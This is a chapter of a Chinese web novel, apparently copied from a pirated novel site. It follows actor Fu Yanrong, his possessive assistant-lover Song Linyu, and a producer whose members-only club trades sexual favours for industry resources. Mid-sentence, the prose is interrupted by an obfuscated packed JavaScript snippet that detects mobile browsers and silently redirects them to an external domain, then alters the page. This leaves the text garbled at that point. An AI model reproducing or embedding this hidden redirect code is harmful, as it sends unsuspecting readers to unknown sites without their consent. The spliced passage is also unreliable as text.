任昊然挤出一个大大的笑容,让程双双越发觉得诡异。 这位任昊然任制片还是东钰委派来的,听说以前做事的时候手段可不太干净,没想到现在这么……? 不过,一联系到剧组里那个超级皇族苏唐,本来很迷惑的程双双好像就有点懂了。 毕竟所有人都知道苏唐能挤进这部片子是东钰砸的钱…… 但是那也不对啊,任昊然这么客气地对我和傅宴容干什么……让我给苏唐加戏?但说难听点,这不是他动动手指的事吗? 还是说我是顺带的,任昊然的真实目的是求傅宴容和苏唐麦麸? 毕竟傅宴容我行我素是人尽皆知的事,用钱砸还真不能让他乖乖配合。 程双双脑海里奇怪的念头冒来冒去,转眼就看见坐在对面的傅宴容伸出手,把放在面前的饮料推远了一点,接着语气很平静地说:“谢谢,但我刚运动完,不方便喝这个。” 任昊然立马接话:“那傅老师需要什么,我马上叫人去买?” 这态度都已经不是客气,是殷勤了。 原本一直在看剧本的傅宴容皱了皱眉,也有几分疑惑地掀起眼,扫了一下特地从旁边位置上绕过来的任昊然。 这一眼就让他想起了任昊然到底是谁。 ……是宋临俞的人。 傅宴容对他的脸有点印象,但显然,任昊然并没有意识到这件事,反而还冲傅宴容扬起个笑脸,一副礼貌和善的模样。 “不用任制片麻烦,我助理会操心。” 傅宴容这么说着,顺便回忆起了当初自己和这位“任制片”的半面之缘。 / 没记错的话,这位任制片“以前做事手段不太干净”只是个有点好听的说法,说得不好听些,任昊然此人就是个拉.皮.条的资本家。 傅宴容没出国之前,私密性比较好的,能让圈内人放心谈生意的地方也就那么几处,霁月岚庭就是其中一个。 只是霁月岚庭不提供某些公主少爷的特殊服务,客人自己带人过来玩尚可以理解成约会睁一只眼闭一只眼,再过一步就一点可能都没有了——山庄傅宴容还想多开几年,不打算挑战法律底线。 那么那些资方剩下心照不宣谈生意的地方也就那么几个了,而其中最出名的,就是任昊然的鹿苑。 鹿苑,一听这个起的暧昧且冒犯的名字就知道是什么地方。和那种普通的会所不一样,鹿苑是会员制,你就算十分想当“鹿”,没人引荐也进不来。 而一旦进来了,只要有本事,某些可供交换的资源拿到手并不难,甚至圈里有不少人都是靠这个爬上去的。 任昊然早说过自己做的是你情我愿的买卖,只是傅宴容对此不置可否,并没有要踏足的意思。 但当时宋问似乎和这位生意场上八面玲珑、手段了得的任总关系不错,就连手下娱乐公司新戏的洽谈,地点都定在了鹿苑而非霁月岚庭。 一般经理人要进鹿苑还没什么资格,宋问思来想去,不知道怎么考虑的,竟然把这件事拜托给了傅宴容。 所以最后,傅宴容就带着宋临俞去了那里。 ……原本宋临俞是不该去的,只是他固执地要跟在傅宴容身边。 而如果宋临俞知道,他那天做的事,傅宴容其实都看在眼里的话,他绝对、绝对不会踏进鹿苑一步。 …… 夜雨如织,城市霓虹被水汽晕开,模糊成一片流光交错的影。鹿苑会所门前,地面潮湿,灯光映在积水里,映出人群模糊的倒影。 远处,一道锋利的引擎轰鸣划破夜色,紧接着,红色法拉利LaFerrari如离弦之箭掠过街道,雨水被车速卷起,溅起一道凌厉的水弧。 轮胎碾过地面,溅起细碎水珠。方向盘被骨节分明的手打到最低,刺耳的摩擦声响起,随即而来的是雨夜里一记极限漂移精准落位。 车灯熄灭,剪刀门扬起,傅宴容单手搭在方向盘上,另一只手随意地摘下墨镜,漫不经心地挂在衬衫领口,再慢慢摊开。 他身上是一件剪裁合体的黑色SL羊毛西装,里衬搭着烟灰色真丝衬衫,纽扣随意解开两颗,露出一截清晰的锁骨线,有种严谨的性感,和今晚这样声色犬马的氛围倒是很搭。 刚刚漂移带来的惯性余波还未完全散去,副驾驶上的人微微一晃,下一秒,便如傅宴容所料地靠进了他敞开的怀抱里。 宋临俞有些手足无措地撑在傅宴容的肩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15229920|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,呼吸间尽是他身上的冷淡木质香。 从这个角度看,宋临俞侧脸线条温和,黑发微湿,唇色被雨夜衬得浅淡,倒真像只金丝雀,安静地落在主人身边。 傅宴容看了眼门口言笑晏晏、衣香鬓影的男男女女,又低头看了看怀里的人,抬起手,一言不发地理了理宋临俞敞开的领口。 冰凉的指尖顺势在人颈侧的皮肤上摩挲了一下,带着不轻不重的力道。 “硬要跟过来就跟紧点。”傅宴容这么说着,松开手,又顺便揉了一把宋临俞的乱蓬蓬的黑发。 宋临俞点了点头,乖乖从他怀里退出去,只是指腹仍然攥着他的衣摆。 傅宴容会带宋临俞过来也纯属没辙,因为在知道鹿苑是什么地方后,宋临俞就闷闷不乐地在公寓里待了一整天。 虽说他闷得不太明显,但是傅宴容准备出门时,他拎出来的那一整套豹纹西装加鸡零狗碎的五金穿搭,还是震碎了傅影帝的审美。 傅宴容很难想象自己的衣柜里能找出这样的东西来……怎么不算是宋临俞的天赋呢? 他弯下腰,那张好看的脸慢吞吞凑近了把衣服举起来的宋临俞,知道自己做了什么的人下意识往后躲了两步,下一秒却被勾着后颈捉了回来。 傅宴容眼尾弯了弯,不轻不重地揉了一下宋临俞的后颈,泪痣恶劣地勾了一下,低声问:“宋助理,告诉我你是怎么把这些挑出来的,嗯?” 他靠得太近,宋临俞神色难免慌乱,只能故作镇定地放下手,小声嘟囔了句什么。 傅宴容没听的太清楚,只隐约听到了两句不太情愿的、类似于“谁让你长这么好看……”这样亲昵的抱怨。这让他没忍住笑出了声,顺势靠近抵住宋临俞的额头,问出了早就心知肚明答案的问题。 “不会是吃醋了吧?” 宋临俞长睫轻轻颤了一下,不说话,只是放下衣服,像知道自己做了什么错事一样,抬起手搂住傅宴容的肩膀,像小狗似的,讨好地蹭了蹭他的颈窝。 傅宴容的长发蹭得宋临俞有点痒,他停了一秒,见傅宴容还是一副无动于衷的样子,忍不住小声和人商量:“你可以不去吗?” “不行。” 傅宴容一口回绝。 “……哦。” 宋临俞没再说什么,毕竟他只是傅宴容的助理,说得不好听一点就是包养的情人,无论哪种都好像并没有置喙傅宴容工作的资格。 本来也不应该在意这种事情,宋临俞这么想着,很快又用“万一傅宴容看上别人那事情就功亏一篑”的想法说服了自己,在傅宴容重新回衣帽间拿衣服的时候跟了上去。 傅宴容重新拿了套西装出来,换衣服的时候也不避讳他。 于是宋临俞看着他雪白后腰上自己昨晚情动时没忍住吻出来的红痕,眸色轻轻暗了暗。 傅宴容衬衫穿到一半,突然感受到某人一言不发地把冰凉的手拢上了自己的后腰,柔软的掌心盖着那片吻痕,又很轻地,恋恋不舍地摩挲了一下。 他一顿,抬手挑起宋临俞的下巴,漫不经心地说:“怎么,还想边哭边亲两口?” 傅宴容只是随口一说,却没想到宋临俞的指尖突然收拢,指腹带着过重的力道,又在肌肤上留下几分红印。 宋临俞看着自己留下的痕迹,晦涩不明的视线藏在漆黑的额发后,整个人都莫名透露出种阴郁的乖觉来。 片刻后,他才似有似无地幽幽道:“多留几个,才不会有不长眼的东西敢碰吧……” 宋临俞这句话声音放得太轻,像泥潭里伺机而动的毒蛇一样冰冷稠腻,幸好傅宴容系着扣子好像没听见,只是疑惑地发出了声音,示意他把刚刚的话重说一遍。 过了几分钟,宋临俞才又恢复了那种听话的样子,他收回手,祈求似的抬头,认真问:“那我可以跟着去吗?我会很听话的,我保证。” 傅宴容没说好不好,只是意味不明地看了他一眼,不紧不慢地问:“保证啊……那要是有别人靠过来,你也听话吗?” 宋临俞沉默又安静地看了他一会儿,因为仰着头,琥珀色的瞳孔含进了一片冰凉的光线,不知为何竟然显得有几分诡谲而偏执。 然后,他才缓缓点了点头,接着轻轻踮起脚,看起来若无其事地帮傅宴容系好了领带,敛眸轻声复述道:“听话的……我保证。”